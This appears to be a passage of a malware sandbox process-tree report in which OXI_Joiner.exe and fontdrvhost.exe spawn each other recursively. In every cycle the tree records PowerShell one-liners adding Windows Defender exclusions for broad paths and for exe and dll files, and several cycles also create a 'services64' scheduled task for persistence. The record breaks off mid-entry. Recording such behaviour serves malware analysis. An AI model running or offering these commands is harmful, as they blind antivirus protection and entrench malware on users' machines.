        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        27⤵
        
        PID:8096
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        28⤵
        
        PID:6932
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        29⤵
        
        PID:7488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        30⤵
        
        PID:14992
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        29⤵
        
        PID:13152
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13488
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        29⤵
        
        PID:9988
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        30⤵
        
        PID:2588
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        31⤵
        
        PID:10156
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        32⤵
        Executes a command shell one-liner
        
        PID:796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        33⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        27⤵
        
        PID:8240
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        28⤵
        
        PID:8740
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        29⤵
        
        PID:9648
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        30⤵
        Executes a command shell one-liner
        
        PID:9824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14512
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        30⤵
        
        PID:2796
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        31⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        28⤵
        
        PID:8820
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        29⤵
        
        PID:9068
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        30⤵
        
        PID:10220
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        31⤵
        Executes a command shell one-liner
        
        PID:7828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        32⤵
        
        PID:10336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7544
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        31⤵
        
        PID:10800
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5744
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        29⤵
        
        PID:9176
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        30⤵
        
        PID:8168
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        31⤵
        
        PID:7604
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        32⤵
        
        PID:9552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        33⤵
        
        PID:10648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        33⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16020
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        30⤵
        
        PID:8616
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        31⤵
        
        PID:9236
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        32⤵
        
        PID:10728
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        33⤵
        
        PID:10852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        34⤵
        
        PID:11208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        34⤵
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        31⤵
        
        PID:9468
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        32⤵
        
        PID:2704
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        33⤵
        
        PID:11236
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        34⤵
        
        PID:10528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        35⤵
        
        PID:9792
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        32⤵
        
        PID:9592
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        33⤵
        
        PID:8656
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        34⤵
        
        PID:11008
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        35⤵
        
        PID:6828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        36⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        36⤵
        
        PID:17188
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        33⤵
        
        PID:10312
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        34⤵
        
        PID:10768
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        35⤵
        
        PID:9156
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        36⤵
        
        PID:1360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        37⤵
        
        PID:11320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        37⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        34⤵
        
        PID:10900
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        35⤵
        
        PID:11152
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        36⤵
        
        PID:11464
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        37⤵
        
        PID:11592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        38⤵
        
        PID:17228
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        35⤵
        
        PID:9808
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        36⤵
        
        PID:10116
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        37⤵
        
        PID:11852
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        38⤵
        Executes a command shell one-liner
        
        PID:11976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        39⤵
        
        PID:12280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        39⤵
        
        PID:10988
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        36⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        37⤵
        
        PID:11148
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        38⤵
        
        PID:11040
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        39⤵
        
        PID:11460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        40⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        40⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        37⤵
        
        PID:7324
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        38⤵
        
        PID:11272
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        39⤵
        
        PID:11128
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        40⤵
        
        PID:10368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        41⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        41⤵
        
        PID:11004
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        38⤵
        
        PID:11404
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        39⤵
        
        PID:11724
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        40⤵
        
        PID:7720
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        41⤵
        
        PID:6292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        42⤵
        
        PID:6660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3908
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        39⤵
        
        PID:11772
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        40⤵
        
        PID:12044
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        41⤵
        
        PID:6744
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        42⤵
        
        PID:6920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        43⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        43⤵
        
        PID:17240
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        40⤵
        
        PID:12148
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        41⤵
        
        PID:11716
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        42⤵
        
        PID:1120
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        43⤵
        Executes a command shell one-liner
        
        PID:12296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        44⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        44⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        41⤵
        
        PID:7176
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        42⤵
        
        PID:11776
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        43⤵
        
        PID:12540
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        44⤵
        
        PID:12844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        45⤵
        
        PID:13188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        45⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5128
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        42⤵
        
        PID:4276
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        43⤵
        
        PID:6860
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        44⤵
        
        PID:12876
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        45⤵
        Executes a command shell one-liner
        
        PID:12988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        46⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        43⤵
        
        PID:11056
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        44⤵
        
        PID:6852
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        45⤵
        
        PID:13136
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        46⤵
        
        PID:13252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        47⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        47⤵
        
        PID:7372
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        44⤵
        
        PID:7628
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        45⤵
        
        PID:6184
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        46⤵
        
        PID:4912
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        47⤵
        Executes a command shell one-liner
        
        PID:12488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        48⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        48⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17328
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        45⤵
        
        PID:12404
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        46⤵
        
        PID:12664
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        47⤵
        
        PID:12528
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        48⤵
        Executes a command shell one-liner
        
        PID:5860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
